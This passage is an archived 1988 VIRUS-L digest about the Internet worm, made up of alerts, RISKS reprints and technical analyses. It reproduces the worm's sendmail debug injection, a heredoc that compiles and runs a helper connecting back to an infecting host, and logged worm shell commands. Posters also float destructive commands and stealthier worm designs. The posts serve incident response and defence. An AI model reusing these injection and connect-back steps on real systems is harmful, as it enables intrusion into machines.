Date:         Thu, 3 Nov 88 21:31:46 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         James Ford <JFORD1@UA1VM>
Subject:      Bitnet bug

Text taken from LINKFAIL.  Also, the TCPIP bug that
apparently is going around made CNN news.

CNN stated that the FBI is going to investigate the matter.  My question
is can the FBI trace something like this?  The XMAS bug was traced via
old NETLOG files and among other things.............

                          JF
----------------------------------------------------------------------
>Date:         Thu, 3 Nov 88 12:11:38 MST
>Sender:       Link failure announcements <LINKFAIL@UGA>

>All  Bitnet access to the  U of Arizona  campus has been suspended until
>this afternoon due to a virus attack. This includes the following nodes:
>ARIZRVAX, ARIZJVAX, ARIZVM1, & ARIZMIS.
=========================================================================
Date:         Fri, 4 Nov 88 09:08:02 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "David A. Bader" <DAB3@LEHIGH>
Subject:      CHECKUP 1.8

A number of people have sent me flames because I did not specify what
machine I was working with when I mentioned Checkup 1.8.. I apologize,
it is written for an IBM Microcomputer type system.
   -David Bader
   DAB3@LEHIGH
=========================================================================
Date:         Fri, 4 Nov 88 09:47:06 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Joe McMahon <XRJDM@SCFVM>
Subject:      Internet worm: it's a failure

The Internet worm released sometime in the last few days was a failure.

Why? An analogy is in order. A contagious disease is not a success when
it kills or shows up quickly. A cold is more "successful" than the plague.

The Internet worm (or perhaps bacterium? the terminology is slippery
here) reproduced itself quickly, and made interconnections, like a
worm. The failure, however, was in that reinfections did not detect
one another.

Just as an interesting idea, what would have happened if the worm
had been able to detect reinfections? Spread would have been at about
the same rate, perhaps even faster. Worse, however, would be the fact
that a huge worm with very small segments would be hiding in all of
these machines. A single extra process would be hard to detect.

Now, after a day or so, one segment of the worm broadcasts 'RM *' or
some other nasty operation (I'm not a Unix person, fill in the command
with your favorite dangerous operation) ...

--- Joe M.
=========================================================================
Date:         Fri, 4 Nov 88 09:36:00 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         NEWTON@NBSENH
Subject:      Internet Virus

The Internet virus made the front page of the Washington Post, with
considerable discussion and artwork on the inside pages.  Looked to me
as if they had prepared themselves relatively well for the next major
virus outbreak.
=========================================================================
Date:         Fri, 4 Nov 88 10:10:00 LCL
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Good for practical purposes,
              at least theoretically" <[e-mail]>
Subject:      Disagreement over FEV definition

        Some comments taken from some recent VIRUS-L submissions:

> I should think that such a naming convention could be pretty useful
> whereby an EEV would be attributable to (presumably) a system programming
> error, and an FEV would be attributable to a system design deficiency.


> I'd also think that EEVs would be more prevalent on micros since there
> is no facility for memory protection, etc.


        Since a feature of most micros is no memory protection (and very
        little real protection of any sort), I consider most micro
        viruses to be FEVs.  If a micro had a buggy implementation of
        memory protection, than a virus that used a bug in the memory
        protection would be an EEV.  As it is, most micro are just
        exploiting design deficiencies (the definition above of an FEV).

                            B.J.
=========================================================================
Date:         Fri, 4 Nov 88 11:13:13 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ken van Wyk <[e-mail]>
Subject:      Comments from RISKS forum about Internet virus

There was (what seemed to be) a good description of the recent
Internet virus in today's RISKS forum.  The following is a reprint of
the relevant messages for those of you who don't get RISKS:


Date:         Thu, 3 Nov 88 15:52:10 PST
From:         RISKS FORUM <[e-mail]>
Subject:      RISKS DIGEST 7.69

RISKS-LIST: RISKS-FORUM Digest  Thursday 3 November 1988   Volume 7 : Issue 69

Contents:
  Virus on the Arpanet - Milnet (Cliff Stoll)
  More on the virus (Gene Spafford, PGN, Matt Bishop)

----------------------------------------------------------------------
Date:  Thu, 3 Nov 88 06:46 EST
From: [e-mail]
Subject:  Virus on the Arpanet - Milnet

Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now 3:45 AM on Wednesday 3 November 1988.  I'm tired, so don't believe
everything that follows...

Apparently, there is a massive attack on Unix systems going on right now.

I have spoken to systems managers at several computers, on both the east
& west coast, and I suspect this may be a system wide problem.

Symptom:  hundreds or thousands of jobs start running on a Unix system
bringing response to zero.

Systems attacked:  Unix systems, 4.3BSD unix & variants (eg:  SUNs) any
sendmail compiled with debug has this problem.  See below.

This virus is spreading very quickly over the Milnet.  Within the past 4
hours, I have evidence that it has hit >10 sites across the country,
both Arpanet and Milnet sites.  I suspect that well over 50 sites have
been hit.  Most of these are "major" sites and gateways.


Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.  This utility can send a message into another program.

Step 1:  from a distant Milnet host, a message is sent to Sendmail
       to fire up SED, (SED is an editor)  This is possible in certain
       versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:  The distant computer sends a command to compile this C program.

4:  Several object files are copied into the Unix computer.
        There are 3 files:  one targeted to Sun
                            one targeted to SUN-3
                            one targeted to vax    (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:  Apparently, program scans for other Milnet/arpanet addresses and
     repeats this process.



The bug in Sendmail:

When the Unix 4.3 BSD version of Sendmail is compiled with the Debug
option, there's a hole in it.

Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug.
It exists only where the system manager recompiled Sendmail and enabled
debugging.


This is bad news.

  Cliff Stoll dockmaster.arpa

------------------------------

Date: Thu, 03 Nov 88 09:52:18 EST
From: Gene Spafford <[e-mail]>
Subject: More on the virus
Organization: SERC, Department of Computer Sciences, Purdue Univ.

All of our Vaxen and some of our Suns here were infected with the virus.  The
virus forks repeated copies of itself as it tries to spread itself, and the
load averages on the infected machines skyrocketed.  In fact, it got to the
point that some of the machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!

The virus seems to consist of two parts.  I managed to grab the source code for
one part, but not the main component (the virus cleans up after itself so as
not to leave evidence).  The way that it works is as follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and gets a shell.

2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets replaced

by the current process id) and copies code for a "listener" or "helper"
program.  This is just a few dozen lines long and fairly generic code.  The
shell compiles this helper using the "cc" command local to the system.

3) The helper is invoked with arguments pointing back at the infecting
virus (giving hostid/socket/passwords as arguments).

4) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell with
standard input coming from the infecting virus program on the other end of the
socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

5) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  I'm not sure what else the virus does, if anything --
it may also be attempting to add a bogus passwd file entry or do something to
the file system.  The helper program has an array of 20 filenames for the
"helper" to copy over, so there is room to spare.  There are two versions
copied -- a version for Vax BSD and a version for SunOS; the appropriate one is
compiled.

6) The new virus is dispatched.  This virus opens all the virus source
files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the virus
steps through the hosts file (on the Sun, it uses YP to step through
the distributed hosts file) trying to connect to other machines'
sendmail.  If a connection succeeds, it forks a child process to infect
it, while the parent continues to attempt infection of other machines.

7) The child requests and initializes a new socket, then builds and invokes a
listener with the new socket number and hostid as arguments (#1, above).

The heavy load we see is the result of multiple viruses coming in from multiple
sites.  Since local hosts files tend to have entries for other local hosts, the
virus tends to infect local machines multiple times -- in some senses this is
lucky since it helps prevent the spread of the virus as the local machines slow
down.

The virus also "cleans" up after itself.  If you reboot an infected machine (or
it crashes), the /tmp directory is normally cleaned up on reboot.  The other
incriminating files were already deleted by the virus itself.

Clever, nasty, and definitely anti-social.

--spaf

------------------------------

Date: Thu, 3 Nov 1988 14:27:22 PDT
From: Peter Neumann <[e-mail]>
Subject: More on the virus attack

Remember that the above are preliminary messages relating to an event in
progress.  There seem to be many unanswered questions.  Perhaps someone will
contribute a definitive report to the next issue of RISKS.

Examination of the code suggests a fairly sophisticated person writing
relatively high quality (although undocumented) code, exploiting several flaws
that exist(ed) on many UNIX systems, and written with considerable good
practice in self-checking, reliability, etc.  From the evidence thus far, I
would guess it that this was a deliberate attack, not an accidental experiment
run astray.

Although it was primarily a denial of service attack, it did some remarkable
things, taking advantage of many different approaches.  The spawned
processes appear to have been doing attacks on encrypted passwords to enable
ftps (in case the .rhost attack would not work -- cf. the Stanford breakins
described in CACM and SEN by Brian Reid).  Separate versions to run on Suns
and Vaxens were apparently propagated in DES encrypted form, decrypted, and
both programs tried to see which one would work.

We quoted Henry Petroski here over a year ago to the effect that we do not
learn from our successes, but that we have an opportunity to learn from our
failures.  Once again we are presented with the opportunity to learn that many
of our computer systems have serious security vulnerabilities, and that we need
to take pains to defend against the really malicious attacks.  Strangely some
people take heart in the fact that the security attacks to date (whether
penetrations, exploitations of privilege, Trojan horses, or legitimate viruses)
have been relatively modest in scale, perhaps to justify the absence of
concern.  I am afraid that it will take a Chernobyl- or Three-Mile-Island-like
disaster before the community at large wakes up.  PGN

------------------------------

Date: Thu, 3 Nov 88 16:32:25 EST
From: [e-mail] (Matt Bishop)
Subject: More on the virus

...  This program introduced itself through a bug in sendmail.  At these sites,
sendmail was compiled and installed with a debugging option turned on.  As near
as I can figure (I don't have access to the sendmail sources), by giving a
specific option to the "debug" command in sendmail (there are lots of those,
controlling what exactly you get information about) you can cause it to execute
a command.  As sendmail runs setuid to root, guess what privileges the command
is executed with.  Right.
   Apparently what the attacker did was this:  he or she connected to sendmail
(ie, telnet victim.machine 25), issued the appropriate debug command, and had
a small C program compiled.  (We have it.  Big deal.)  This program took
as an argument a host number, and copied two programs -- one ending in
q.vax.o and the other ending in .sun.o -- and tried to load and execute them.
In those cases where the load and execution succeeded, the worm did two things
(at least):  spawn a lot of shells that did nothing but clog the process table
and burn CPU cycles; look in two places -- the password file and the internet
services file -- for other sites it could connect to (this is hearsay, but I
don't doubt it for a minute.)  It used both individual .rhost files (which it
found using the password file), and any other remote hosts it could locate
which it had a chance of connecting to.  It may have done more; one of our
machines had a changed superuser password, but because of other factors we're
not sure this worm did it.
   This last part is still sketchy; I have the relevant sun.o file and will
take it apart to see just what it was supposed to do.  As of now, it appears
there was no serious damage (just wasted CPU cycles and system administrator
time).
   Two obvious points:
1.  Whoever did this picked only on suns and vaxen.  One site with a lot
    of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,
    but the attempt to get the other machines didn't work.
2.  This shows the sorry state of software and security in the UNIX world.
    People should NEVER put a program with debugging hooks in it, especially
    when the hook is (or can be made) to execute an arbitrary command.  But
    that is how the sendmail which was used was distributed!
   One more interesting point:  initially, I thought an application of the
"principle of least privilege" would have prevented this penetration.  But
the attacker used a world-writeable directory to squirrel the relevant programs
in, so -- in effect -- everything could have been done by any user on the
system!  (Except the superuser password change, of course -- if this worm
did in fact do it.)
   I think the only way to prevent such an attack would have been to turn
off the deug option on sendmail; then the penetration would fail.  It goes to
show that if the computer is not secure (and like you, I don't believe there
ever will be such a beastie), there is simply no way to prevent a virus (or,
in this case, a worm) from getting into that system.
   I know this is somewhat sketchy, flabby, and fuzzy, but it's all I know
so far.  I'll keep you posted on developments ...

Matt



Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Fri, 4 Nov 88 10:44:40 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Kevin Trojanowski <[e-mail]>
Subject:      RE: PRIMOS virus


Here at the University of Iowa, we're running a 5 Prime 9955s in a ring-net;
and to the best of my knowledge (here at least) no viruses have infiltrated
the system.

This, of course, doesn't mean that they don't exist; tho I hope that none do.

If anyone has any information on one, I too would be interested in hearing
about it.

-Kevin Trojanowski
 [e-mail]
=========================================================================
Date:         Fri, 4 Nov 88 08:32:00 MDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "DOV - DR. ART ST. GEORGE" <STGEORGE@UNMB>

From:   GOV%"[e-mail]"      "Peter E. Yee"  3-NOV-1988 03:32
To:     "(no name)" <STGEORGE@UNMB>
Subj:   Internet VIRUS alert

Received: From USCVM(MAILER) by UNMB with Jnet id 6259
          for STGEORGE@UNMB; Thu,  3 Nov 88 03:32 MDT
Received: by USCVM (Mailer X1.25) id 6256; Thu, 03 Nov 88 02:31:46 PST
Date:         Wed, 2 Nov 88 23:28:00 PST
Reply-To:     <[e-mail]>
Sender:       "(TCP-IP ARPA Discussions)" <TCPIP-L@USCVM>
Comments:     Warning -- original Sender: tag was TCPIP-L@BYUADMIN
From:         "Peter E. Yee" <[e-mail]>
Subject:      Internet VIRUS alert
X-To:         [e-mail]
X-cc:         [e-mail], [e-mail]
To:           "(no name)" <STGEORGE@UNMB>

We are currently under attack from an Internet VIRUS.  It has hit UC Berkeley,
UC San Diego, Lawrence Livermore, Stanford, and NASA Ames.  The virus comes in
via SMTP, and then is able to attack all 4.3BSD and SUN (3.X?) machines.  It
sends a RCPT TO that requests that its data be piped through a shell.  It copies
in a program, compiles and executes it.  This program copies in VAX and SUN
binaries that try to replicate the virus via connections to TELNETD, FTPD,
FINGERD, RSHD, and SMTP.  The programs also appear to have DES tables in them.
They appear in /usr/tmp as files that start with the letter x.  Removing them
is not enough as they will come back in the next wave of attacks.  For now
turning off the above services seems to be the only help.  The virus is able
to take advantage of .rhosts files and hosts.equiv.  We are not certain what the
final result of the binaries is, hence the warning.

I can be contacted at [phone].  Phil Lapsley and Kurt Pires at this
number are also conversant with the virus.

                            -Peter Yee
                            [e-mail]
                            ames!yee
=========================================================================
Date:         Fri, 4 Nov 88 11:07:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Jim Shaffer <SHAFFERJ@BKNLVMS>
Subject:      Arizona's virus

Does anyone have any more information on the virus they had at the U. of
Arizona yesterday?
=========================================================================
Date:         Fri, 4 Nov 88 11:36:03 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         John Hammond <MAIL@UCONNVM>
Subject:      Latest Virus in the News

Has anyone heard about the current virus in the news?  Specifically,
is it a virus designed for VM/CMS systems?

John Hammond (Techrep)
University Computer Center
University of Connecticut
U-138, 196 Auditorium Road
Storrs, Connecticut  06269-3138
U.S.A.    Phone: [phone]
=========================================================================
Date:         Fri, 4 Nov 88 13:39:03 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Loren K Keim   -- Lehigh University <LKK0@LEHIGH>
Subject:      New Virus Problems

Y'know, a few weeks ago, I was talking to the press in London
explaining that we were going to see some serious viruses hitting
late this year and early next year.  I told them that we'd be
seeing some major mainframe viruses which could propogate across
networks.   Particularly, we're going to have to watch for
Unix and VMS viruses coming down the line, and eventually
someone's going to attack VM/CMS systems and banking systems.
One reporter acted srurprized.  He told me that they had been
reporting viruses for some time, and no one has told them
that something could possibly affect their mainframes.
Dont be fooled by the fact that mainframes are more compelex
pieces of machinery, be very wary of these viruses because
I believe they will be more harmful to the general populance.
I honestly think more research, more important banking
information, accounting and so forth is done on mainframes
currently.   We have to stp hthis type of propagation.

We are currently tracing the Internet Virus backawards.
If you have been hit by the virus, please send me mail
at LKK0@lehigh and tell me where you are, what you direct
nodes you're comnnecteed to, and approx when you were
first hit.

%There are rumors flying far and whide that a VM/CMS virus
is invading systems at this time.  I haven't seen oit or
seen any reliable info on it.  If you know ANYTHING about
it, please conntact me.

If you have an emergency need to get ahold of me, here are
some numbers to track me down:

My new house:   432-2932  (215 area code)
My main office: 395-0393  (215)

Thank oyou and good luck in the war!

Loren Keim
=========================================================================
Date:         Fri, 4 Nov 88 12:51:44 CDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Len Levine <[e-mail]>
Subject:      Unix virus

The unix virus enters systems through sendmail and, using the debug
feature, and a machine specific program, tries to crack
userid/passwords using the system spell check dictionary.

If it does crack a user, then the virus "logs in" as that user and
sends copies of itself to other machines.

The time spent in cracking the password file causes the demand to rise
to a very large number and makes the machine unusable.

No user files seem to have been hit, although the virus could have
deleted the users data sets.

No break into operating system levels seems to have occurred.

I am sure that we will hear more about this, it made the NY Times this
morning.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
=========================================================================
Date:         Fri, 4 Nov 88 14:50:57 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Scott Earley <SCOTT@BITNIC>
Subject:      re: Disagreement over FEV definition

This died and went to POSTMAST@BITNIC, so I'm resending it for B.J.

--------original message--------
>Sender:      Virus Discussion List <VIRUS-L@LEHIIBM1>
>From:        "Good for practical purposes,
>             at least theoretically" <[e-mail]>
>Subject:     Disagreement over FEV definition

        Some comments taken from some recent VIRUS-L submissions:

> I should think that such a naming convention could be pretty useful
> whereby an EEV would be attributable to (presumably) a system programming
> error, and an FEV would be attributable to a system design deficiency.


> I'd also think that EEVs would be more prevalent on micros since there
> is no facility for memory protection, etc.


        Since a feature of most micros is no memory protection (and very
        little real protection of any sort), I consider most micro
        viruses to be FEVs.  If a micro had a buggy implementation of
        memory protection, than a virus that used a bug in the memory
        protection would be an EEV.  As it is, most micro are just
        exploiting design deficiencies (the definition above of an FEV).

                            B.J.
=========================================================================
Date:         Fri, 4 Nov 88 15:03:04 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         brian bulkowski <GE710012@BROWNVM>
Subject:      Internet Virus

I must say, the national news media is picking up on all this.
Would you believe that the first place I learned about this
virus/bacterium was on the front page of this morning's New
York Times? The artical basically said that the nation's
military computers were being invaded by a virus but that
the virus was clogging thier networks but not damaging the files.
(I thought, a ha, a bacterium.) Surprisingly accurate.

I agree that this seems to be a failure of a virus, and I wouldn't
be all that surprised if someone like the NSA released it to keep
people on their toes. Please don't flame me for spreading rumors,
but this virus is a good thing. "What doesn't kill us makes us
stronger."

A nastyier approach would be to have it fork a "nice" (non clock
cycle chewing process) that just tried to crack the su password
over a long period of time, and once it had it, wait, and do
damage at some later point. We're pretty lucky here, folks, that
this wasn't much worse. Obviously the writer could have done
much worse.

Anyone on the MILNET side feel like telling us how hard y'all were hit?

Yours without a large clogging signature box,
Brian
=========================================================================
Date:         Thu, 3 Nov 88 23:47:51 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]
Subject:      INTERNET SENDMAIL VIRUS **AND PREVENTER**

Here is more off of UseNet about the virus, and at the bottom is a way
to prevent the virus from hitting your machine or reinfecting it.
-----------------------------------
From [e-mail] (Gene Spafford) Thu Nov  3 20:11:06 1988
Path: topaz.rutgers.edu!rutgers!iuvax!mailrus!purdue!spaf
From: [e-mail] (Gene Spafford)
Newsgroups: news.sysadmin
Subject: Re: The virus
Message-ID: <[e-mail]>
Date: 4 Nov 88 01:11:06 GMT
References: <[e-mail]>
Sender: [e-mail]
Reply-To: [e-mail] (Gene Spafford)
Organization: Department of Computer Science, Purdue University
Lines: 140


This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the
worm.  The worm forks repeated copies of itself as it tries to spread
itself, and the load averages on the infected machines skyrocketed.  In
fact, it got to the point that some of the machines ran out of swap
space and kernel table entries, preventing login to even see what was
going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910
    x14481910.c


2) This program is a simple "listener" or "helper" program  of a few
dozen lines of fairly simple code.  As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments).

3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp).  After the files are copied, it exec's a
shell with standard input coming from the infecting worm program on
the other end of the socket.

>From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine.  The command file it uses is as
follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$

5) This creates and dispatches the new worm..  This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).  Next,
the worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other
machines' sendmail.  If a connection succeeds, it forks a child process
to infect it, while the parent continues to attempt infection of other
machines.

7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).


Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses.  It even runs netstat to find out what networks the
machine is attached to!  It uses this information to attempt to
penetrate sendmail on those machines.  It also knows how to penetrate
"fingerd" on Vaxen (on Suns, the attempt results in a core dump).  I
will privately tell individuals how to fix the bug in fingerd, but for
now change it so it does not run as "root".

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  I believe it
also permutes either an internal list of words, or it uses the names
from passwd, but it also tries to see if it can break any of the
passwords for local accounts; if so, if forks a child to use telnet
to break into that account and copy itself.

It tries to copy itself to other systems using rsh, fingerd, and
possibly also uucp and/or ftp.

As I write this, no one seems to know what it is supposed to eventually
do.  Perhaps it just breaks in everywhere it can.  I wonder if
it isn't just going to wait until some compiled-in time and then
run an "rm -rf /" or something similar (and awful).  Has anyone noticed
new files in /usr/spool/at or included in /usr/lib/crontab?

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax"
as "(sh)" (a login shell).  Don't trust any of these if you have
them running.

The program doesn't copy around source files (except the helper) --
it copies around pre-compiled binaries that are linked on the local
machine and then run.  The worm appears to only be carrying binaries
for 68020-based Suns and Vax 7xx machines.  Pyramids, Sun 2's and
Sequents are all definitely immune.

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that
Xor with 0x81 will reveal interesting things, although that is not
the only mask used.

The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh.  It didn't hit Purdue until about
4 this morning.


I will update you with any further information I may find.
If you forward whatever information you find, I will try to
collate it.


--spaf


Acknowledgements:  Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle (Purdue), and Miek Rowan (Purdue).  Thanks, guys.
--
Gene Spafford
NSF/Purdue/U of Florida  Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet:  [e-mail]   uucp:   ...!{decwrl,gatech,ucbvax}!purdue!spaf


FLASH!!

Kevin ("Adb's your friend.") Braunsdorf  of Purdue CC just burst into
my office with a cure discovered in the disassembled worm binary.

If there is an external variable in the library named "pleasequit" that is
non-zero, the worm will die immediately after exiting.
Thus, to kill any new worms, include a patch in your library that
defines the symbol.  The following shell file and source code
will modify your C library to define this symbol.

It WON'T kill any currently linked and running versions, but it will
prevent reinfection.


# Shar archive.  Give the following as input to /bin/sh
#  Packed Thu Nov  3 21:56:35 EST 1988 by [e-mail]
#
#  This archive contains:
#       foo.sh
#       foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit
--
Gene Spafford
NSF/Purdue/U of Florida  Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet:  [e-mail]   uucp:   ...!{decwrl,gatech,ucbvax}!purdue!spaf

----------------------------------------
There you have it.  The fix at the end will kill the virus if it hits
you, the way I figure it.

Mark
----
Mark Smith (alias Smitty) "Be careful when looking into the distance,
RPO 1604; P.O. Box 5063  that you do not miss what is right under your nose."
New Brunswick, NJ 08903-5063    {backbone}!rutgers!topaz.rutgers.edu!msmith
[e-mail]      Dukakis/Bentsen on Nov. 8th!!!
=========================================================================
Date:         Fri, 4 Nov 88 14:26:46 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Rick McCreedy <RMCREEDY@WAYNEST1>
Subject:      Re: Internet Virus
In-Reply-To:  Message of Fri, 4 Nov 88 09:36:00 EDT from <NEWTON@NBSENH>

I'm interested in what local reaction has been elsewhere to the Internet
virus.

First I saw network news treatment, then the Detroit Free Press morning
edition this morning had an article on it.  This morning the local NBC
affiliate was here in our computer room videotaping interviews with our
systems staff on The Virus, and a reporter from the ABC station called
to say they'll be here this afternoon.  And our center here is not even
directly on the Internet.

I can't really find a reason why this is local news now, and previous
oubreaks weren't.  Is the only *big**news* in Detroit?
=========================================================================
Date:         Fri, 4 Nov 88 10:37:00 PST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ed Sakabu <CSMSETS@UCLAMVS>
Subject:      Details on the Internet VIRUS


 The following was taken from [e-mail]

 ---------------------------- Text of forwarded message -----------------------
Received: (from UCLAMVS for UCLAMVS via NJE)
 (UCLA/Mail V1.410 M-CARPSYS#-6421-109); Fri, 04 Nov 88 04:33:50 PST
Received: from SRI-NIC.ARPA by OAC.UCLA.EDU
    with TCP; Fri, 4 Nov 88 4:33:45 PST
Received: from rand.org by SRI-NIC.ARPA with TCP; Thu, 3 Nov 88 21:58:30 PST
Received: from localhost by rand.org; Thu, 3 Nov 88 21:31:05 PST
Message-Id: <[e-mail]>
To: [e-mail]
Subject: Details on the Internet VIRUS
Reply-To: [e-mail]
Date: Thu, 03 Nov 88 21:30:58 PST
From: Isaac <[e-mail]>


After carefully leaving the sendmail ``hole'' open on our Internet machine
I've been able to track (for the most part) what the virus is doing and
how it's spreading itself.

The C program that is uploaded and compiled is only the start.  After it's
compiled it's run with the following arguments: argv[1] is the Internet
addr of the infecting host, argv[2] is the port to connect to on that host
and argv[3] is the "magic" number. It connects back to the infecting host
and *carefully* transfers 3 files over.  The socket remains open and
/bin/sh is then exec'd so the infecting host can send shell commands to it
after the files are transferred. Following is an excerpt from the log file of
my hacked up version of the .c file that's uploaded:

  virus: pid=6828, args; x15886501 10.4.0.7 29451 15525687
  connection on sockect 0 active
  trying to write to file 'x15901447,sun3.o', len=47165
  file 'x15901447,sun3.o' written!
  trying to write to file 'x3338475,vax.o', len=45734
  file 'x3338475,vax.o' written!
  trying to write to file 'x11091853,l1.c', len=1542
  file 'x11091853,l1.c' written!
  starting up 'snoop' to watch the rest of the socket

"Snoop" is a shell script that's run in place of /bin/sh to capture the
shell commands that are being sent from the infecting host. Following is a
log of the shell commands are being sent:

  PATH=/bin:/usr/bin:/usr/ucb
  rm -f sh
  if [ -f sh ]
  then
  P=x10903971
  else
  P=sh
  fi
  cc -o $P x15901447,sun3.o

  ./$P -p $$ x15901447,sun3.o x3338475,vax.o x11091853,l1.c

  rm -f $P
  cc -o $P x3338475,vax.o

  ./$P -p $$ x15901447,sun3.o x3338475,vax.o x11091853,l1.c

  rm -f $P
  rm -f x15901447,sun3.o $P
  rm -f x3338475,vax.o $P
  rm -f x11091853,l1.c $P

They real key is to find out what ./$P is actually doing. Knowing the
arguments to the program that's uploaded and executed may be 1/2 the battle
there - especially if you're running on a Sun 3 with SunOS 4.0 (let's thank
Sun for the "trace" command).  So it's starting itself again, probably
using the pid ($$) as random seed, the rest of the arguments being the
names of the files to send off to the next victim. It looks real innocent
when you see "(sh)" in a ps listing (note what $P is set to)....

Earlier today Jim Gillogly ([e-mail]) was able to find a table of
potential passwords that are probably used to crack accounts on the
infected machine. Some other research into the matter strongly suggests
that .rhosts and hosts.equiv files are used to target the next victim (that
seems to be common knowledge). It apparently tries one of two ways to break
into a machine. First it seems to try the rsh port. I've hacked up rshd to
report all outside attempts via syslog. It would consistenly come in over
rsh a minute or so before trying the SMTP port. Terry West ([e-mail])
hacked sendmail to report attempts to use the 'debug' command to the SMTP
